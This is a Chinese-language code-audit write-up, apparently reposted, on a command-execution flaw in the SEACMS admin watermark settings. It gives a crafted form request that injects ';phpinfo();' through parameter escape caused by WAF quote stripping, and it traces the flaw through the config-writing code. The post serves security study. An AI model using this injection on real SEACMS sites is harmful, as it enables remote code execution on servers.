[PHP代码审计]SEACMS命令执行漏洞

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[PHP代码审计]SEACMS命令执行漏洞相关的知识,希望对你有一定的参考价值。

写在前面

考虑到是后台,且后台目录随机,感觉危害不太大,所以分享思路,这里是防御过度造成的,两个waf的利用导致参数逃逸,希望给大家的审计学习带来帮助

漏洞演示

漏洞点在后台的图片水印设置

在这里我们用burpSuite拦截包,之后我们要修改三个地方,我把参数列出来

------WebKitFormBoundaryiU3RjTlx8jjXvZLM
Content-Disposition: form-data; name="photo_watertext"

www.seacms.net'
------WebKitFormBoundaryiU3RjTlx8jjXvZLM
Content-Disposition: form-data; name="photo_fontsize"

;phpinfo();
------WebKitFormBoundaryiU3RjTlx8jjXvZLM
Content-Disposition: form-data; name="photo_fontcolor"

;#FF0000

分别是第一个后面加单引号,第二个后面拼接注入参数第三个前面加上;一定要加上我说的!!!

之后,我们再次查看图片水印这里,成功利用

漏洞点分析

w7alz9/admin_config_mark.php,首先引入了公共类实现了全局waf
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

可以看见对我们多传入的'进行了过滤,这也造成了本次漏洞利用产生

接下来,我们再往下,发现这里对'进行的操作是替换为空

看看现在的变量值这里造成了什么,参数的逃逸,我们看看最终写入的结果

看看本来正常的值被替换了以后从原来的$photo_watertext = 'www.seacms.net\\'';由于'被替换为空,导致把后面的注释调

可以看见上图,现在闭合的部分为

$photo_watertext = 'www.seacms.net\\';
$photo_fontsize = '

因此我们便可以利用$photo_fontsize参数进行危险函数的注入并且$photo_fontcolor参数前也要加一个;闭合后面部分

分析完毕

以上是关于[PHP代码审计]SEACMS命令执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章

代码审计seacms 前台Getshell分析

php代码审计5审计命令执行漏洞

2020/1/28 PHP代码审计之代码执行漏洞

2020/1/28 PHP代码审计之命令执行漏洞

seacms V11.5代码执行漏洞(0day)

seacms V11.5代码执行漏洞(0day)